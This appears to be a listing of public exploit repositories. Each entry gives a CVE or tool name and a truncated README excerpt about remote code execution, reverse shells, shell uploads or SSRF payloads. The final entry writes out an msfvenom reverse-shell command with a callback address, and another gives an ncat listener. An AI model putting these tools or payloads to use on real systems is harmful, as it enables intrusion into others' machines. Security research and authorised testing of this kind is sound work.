CVE-2025-8110

Gogs RCE Exploit CVE-2025-8110 Proof of Concept for CVE-2025-8110 - Remote Code Execution in Gogs via symlink bypass and sshCommand injection. Description This exploit abuses a symlink bypass in Gogs API to overwrite .git/config and inject malicious sshCommand that executes a reverse shell...

CVE-2021-43936

CVE-2021-43936 CVE-2021-43936 is a critical vulnerability CVSS3 10.0 leading to Remote Code Execution RCE in WebHMI Firmware. This vulnerability works on versions 4.0 and the newest ones. Tested only on 4.0.7475. Vulnerability is used by script in the following steps: 1. Logs into the application...

CVE-2025-55182-POC

CVE-2025-55182 Next.js RCE Scanner CVE-2025-55182 vulnerability scanning and exploitation tool for remote code execution in Next.js applications. Supports batch detection, command execution, Godzilla memory shell injection, and reverse shell functionality. ⚠️ This tool is intended for security...

CVE-2020-0796

Usage Make sure Python and ncat are installed. Run calctargetoffsets.bat on the target computer, and adjust the offsets at the top of the SMBleedingGhost.py file according to the script output also see the note below. Run ncat with the following command line arguments: ncat -lvp Where is the port...

CVE-2020-14882_Exploit_Gui

CVE-2020-14882ExploitGui The tool is for authorized use only. I bear no responsibility for unauthorized attacks that lead to criminal cases. Please be familiar with the Cybersecurity Law. During a penetration test, I encountered 14882 and couldn't find a usable GUI POC, so I refactored it. I...

cve-2015-2208

Dockerfile to simulate environment for CVE-2015-2208 The saveObject function in moadmin.php in phpMoAdmin 1.1.2 allows remote attackers to execute arbitrary commands via shell metacharacters in the object parameter. Discovered by: @u0x Pichaya Morimoto, Xelenonz, pe3z, Pistachio References:...

CVE-2023-40294-and-CVE-2023-40295

While I was running boron in my environment, I happened to stumble upon 2 heap buffer overflows in libboron libboron.so.2 version 2.0.8 when processing slightly malformed input. This has been officially tested on both Mac x8664 and Linux x8664: Files for reproduction reproduction.zip Compiling gi...

drupalgeddon2-cli

drupalgeddon2-cli A command-line rewrite of the Drupalgeddon2 CVE-2018-7600 proof-of-concept, built as a study exercise while working through the Hack The Box Academy Attacking Common Applications module. !WARNING For authorised security testing and education only. Running this against systems yo...

Wp_Adning_Advertising_Shell_Upload

WpAdningAdvertisingShellUpload python 2.7...

Gopherus

Gopherus If you know a place which is SSRF vulnerable then, this tool will help you to generate Gopher payload for exploiting SSRF Server Side Request Forgery and gaining RCE Remote Code Execution. And also it will help you to get the Reverse shell on the victim server. And for more information y...

Apache-Struts-v4

Apache-Struts-v4 The script contains 5 distinct vulnerabilities that exploit RCE vulnerabilities in Apache Struts. For now it only has the ability to create PHP shells. Added CVEs CVE ID| DESCRIPTION ---|--- CVE-2013-2251| Apache Struts 2.0.0 through 2.3.15 allows remote attackers to execute...

CVE-2024-24590-ClearML-RCE-CMD-POC

ClearML Exploit Script This repository contains a Python exploit script for CVE-2024-24590 The script is designed to upload a malicious pickle file to ClearML, which executes a reverse shell or a custom command. Features Uploads a malicious pickle artifact to ClearML. Executes a reverse shell or ...

CVE-2012-2982_python

CVE-2012-2982 Exploit python Hello, I am a security researcher and this is my first exploit. Webmin 1.580 has a RCE which is also CVE-2012-2982 To use This payload: 1. download 2. Open in text editor! 3. change targetIP to your target 4. change lhost to your own ip 5. change lport to the port...

hoaxshell

hoaxshell ⚡ The latest version of this project is the HoaxShell standalone listener which comes with refreshed payload templates. Wou can also use it directly from https://revshells.com make sure to choose hoaxshell as the listener. ⚠️ As of 2022-10-18, hoaxshell is detected by AMSI...

CVE-2026-39987_PoC

CVE-2026-39987-PoC Disclaimer This script is for educational and authorized testing purposes ONLY. Unauthorized use of this tool against systems without explicit permission is ILLEGAL. The author is not responsible for any misuse of this information. Marimo versions prior to 0.23.0 have a critica...

CVE-2024-27348

🔥 CVE-2024-27348 Exploitation Toolkit 🎓 Academic Project 📚 Course: FC411 - Secure Network Design 👨‍🏫 Instructor: Dr. Maira Sultan 🏫 University: University of Prince Mugrin 📅 Year: 2025 ⚡ A complete toolkit for exploiting CVE-2024-27348 Apache Huge-Graph-Server developed as part of the FC411 course...

CVE-2025-69604

CVE-2025-69604 Description This vulnerability is similar to the one that is described in CVE-2025-61229 – an attacker can edit the task template to get SuperDuper backup tasks to install an arbitrary package. The package can then run shell scripts as the root user and with the highest level of...

CVE-2019-15813

CVE-2019-15813 This container was made to explain and demonstrate how CVE-2019-15813 Sentrifugo works Sentrifugo V3.2 Sentrifugo is a Human Resource Management System How to Install docker-compose up Default crentials to test ----Super Admin---- Username : empp0001 Password : 5faa7bdf3d7af...

CVE-2024-56264

CVE-2024-56264 WordPress ACF City Selector - Arbitrary File Upload Exploit CVE-2024-56264 Overview This repository contains an exploit for CVE-2024-56264 , which is an Arbitrary File Upload vulnerability found in the WordPress ACF City Selector plugin versions = 1.14.0. This vulnerability allows ...

cve-2022-3218

Step 1 — Create a REAL payload Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe Step 2 — Serve the payload via HTTP In the same directory: python3 -m http.server 80 Step 3 — Adjust the exploit Run like this: python3 CVE-2022-3218.py 172.20.7.185...